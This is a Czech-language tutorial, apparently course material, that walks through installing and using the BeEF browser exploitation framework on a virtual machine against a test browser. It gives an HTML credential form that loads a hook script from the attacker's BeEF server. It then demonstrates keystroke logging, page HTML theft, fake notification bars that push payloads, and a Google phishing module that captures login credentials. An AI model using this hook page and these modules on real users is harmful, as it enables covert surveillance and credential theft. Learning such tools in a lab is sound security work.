
BeEF – The Browser Exploitation Framework 

Browser Exploitation Framework, zkráceně BeEF, je open-source nástroj zaměřený na 

penetrační testování. BeEF využívá JavaScriptový kód (nazývaný "hook"), který se vkládá do 

cílového prostředí pomocí HTML tagů <script>. Tento kód je nezbytný pro zachycení 

webových prohlížečů a jejich následné ovládání prostřednictvím BeEF. V praxi je tento "hook" 

často vkládán do webových stránek prostřednictvím zranitelnosti známé jako Cross-site 

scripting (XSS), kde je možné vložit nebezpečný kód do stránky a ten je poté prováděn v 

prohlížeči uživatele.  

Hlavním účelem BeEF je tedy zachytit (hooknout) jeden nebo více webových prohlížečů, které 

jsou poté využívány k provádění řízených útoků pomocí útočných modulů specificky 

navržených pro tento účel. Tyto útočné moduly poskytují uživatelům možnost vybírat 

a spouštět specifické útočné moduly v reálném čase, což umožňuje přizpůsobit útoky 

jednotlivým prohlížečům. 

V tomto příkladě si ukážeme, jak využít BeEF k ovládnutí karty prohlížeče oběti. 

Instalace 

Začneme instalací BeEF na náš virtuální počítač 

• sudo apt install beef-xss 

  



Poté doinstalujeme webový prohlízeč Chromium (Google Chrome pro Linux) 

• sudo apt install chromium 

Spuštění 

BeEF v konzoli spustíme zadáním příkazu do konzole 

• sudo beef-xss 

Při prvotním spuštění je nutno nastavit heslo, toto heslo je nutné si zapamatovat 



Po zadání hesla se nám zobrazí adresa ovládacího panelu (Web UI), přes který lze ovládat útok 

a takzvaný hook. Tento hook můžeme vložit do HTML kódu stránky, na kterou chceme oběť 

nachytat. 

V prohlížeči se nám zobrazí i Web UI BeEFu. Příhlásíme se do něj. 

• Uživatelské jméno: beef 

• Heslo: heslo, které jsme zadali při prvotním spuštění v konzoli 

  



Dostaneme se na hlavní menu UI, bude nás hlavně zajímat lišta Hooked Browsers, která má 

dvě složky: Online browsers a Offline browsers. V těchto lištách se poté budou nacházet naše 

cíle. 

• Ve složce Online browsers jsou momentálně aktivní uživatelé, na které je možno 

zaútočit 

• Ve složce Offline browsers jsou neaktivní uživatelé – zombie, nelze na ně v ten moment 

zaútočit, ale v složce si je můžeme ponechat, pokud zrovna tyto cíle budou pro nás 

užitečné v budoucnosti  

o Zombie lze kliknutím pravým tlačítkem na ně smazat 

  



Tvorba stránky 

Nyní si vytvoříme základní kód pro webovou stránku, na kterou umístíme náš hook, abychom 

mohli uživatele napadnout. 

Spustíme si v konzoli textový editor nano 

• nano index.html 

A vložíme do něj následující kód 

<!DOCTYPE html> 

<html lang="en"> 

<head> 

    <meta charset="UTF-8"> 

    <meta name="viewport" content="width=device-width, initial-scale=1.0"> 

    <title>Form</title> 

</head> 

<body> 

    <form id="myForm"> 

        <div> 

            <label for="nameSurname">Jméno </label> 

            <input type="text" id="nameSurname" name="nameSurname" required> 

        </div> 

        <div> 

            <label for="otherInfo">Příjmení </label> 

            <input type="text" id="otherInfo" name="otherInfo"> 

        </div> 

 <div> 

            <label for="password">Heslo </label> 

            <input type="password" id="password" name="password" required> 

        </div> 

        <a href="index.html"><button type="submit">Submit</button></a> 

    </form> 

    <script src="http://IP ADRESA KDE BEZI BEEF/hook.js"></script> 

</body> 

</html> 

  



Pomocí Ctrl + O soubor uložíme a ujístíme se, že se soubor jmeuje index.html a pomocí Ctrl 

+ X nano opustíme. Soubor v konzoli spustíme příkazem 

• chromium index.html 

Práce s Web UI 

Nyní, když máme stránku index.html spuštěnou, podíváme se na lištu Hooked browsers ve Web 

UI, kde nyní vidíme náš cíl. 

 



Když klikneme na tento cíl objeví se nám lišta Current Browser se svými podlištami. 

V podliště Details se dozvíme informace prohlížeči, hardwaru či IP adresy cíle. 

 

Přejdeme opět na stránku index.html a zadáme nějaké informace do textboxů. 

  



Nyní přejdeme v BeEF web UI do lišty Logs. Můžeme viděť, že BeEF dokáže sledovat sledovat 

vstup z klávesnice, akce z myši, a i výsledky při kliknutí na tlačítko. 

Commands 

Nyní přejdeme do lišty Commands. V této liště se nachází několik složek s již 

předinstalovanými moduly, ovšem uživatel si může svůj vlastní modul i vytvořit nebo 

popřípadě existující modul upravit. Pokud rozklikneme některou ze složek, vidíme že jsou 

jednotlivé moduly doplněny o barevná kolečka.  

• Zelené kolečko znázorňuje, že modul bude funkční vůči cíli a měl by být pro uživatele 

neviditelný 

• Oranžové kolečko znázorňuje, že modul bude funkční vůči cíli, ale může být viditelný 

pro uživatele 

• Šedé kolečko znázorňuje, že modul ještě není ověřen proti tomuto cíli 

• Červené kolečko znázorňuje, že modul nefunguje proti tomuto cíli 



Testování  

Pojďme si vyzkoušet některé z předpřipravených modulů. Ve složce Browser najdeme modul 

Get Page HTML, který získá HTML kód stránky cíle. Klikneme na něj a vpravo dole na 

obrazovce klikneme na tlačítko Execute. Tímto spustíme modul. Ve sloupci Module Results 

History se nám ukazuje historie provedeného modulu. Při kliknutí na log z Module Results 

History se nám zobrazí výsledek. 

  

 



Zobrazení notifikací 

Můžeme cíli zobrazit i notifikace, buď neškodné s pouhým textem nebo škodlivé s nákladem 

naší volby. Ve složce Social Engineering najdeme modul Fake Notification Bar. Můžeme 

pozměnit zprávu, která se ukáže cíli a spustíme pomocí tlačítka Execute 

 

 

Ostatní moduly, které se zaměrují na zobrazení notifikací už vnucují cíli náklad, který by si 

mohl nainstalovat do počítače 

 

 



Google Phishing 

Ve složce Social Engineering najdeme modul Google Phishing, který uživatelovi zobrazí již 

zastaralou přihlašovací stránku ke gmailu. Zároveň cíl z gmailu odhlásí, pokud je již přihlášen. 

Při nastavení změníme parametr XSS hook URI na například 

• https://www.seznam.cz/ 

Klikneme na tlačítko Execute a přemístíme se na index.html stránku 

 

 

https://www.seznam.cz/


Pokud cíl zadá údaje a přihlásí se, bude přesměrován na již oficiální přihlašovací stránku gmailu 

a k tomu na stránku naší volby. Pokud se opět podíváme na výsledek v Module Results History 

můžeme vidět, že jsme získali přihlašovací údaje cíle 

 

Ukončení 

BeEF ukončíme příkazem 

• sudo beef-xss-stop 


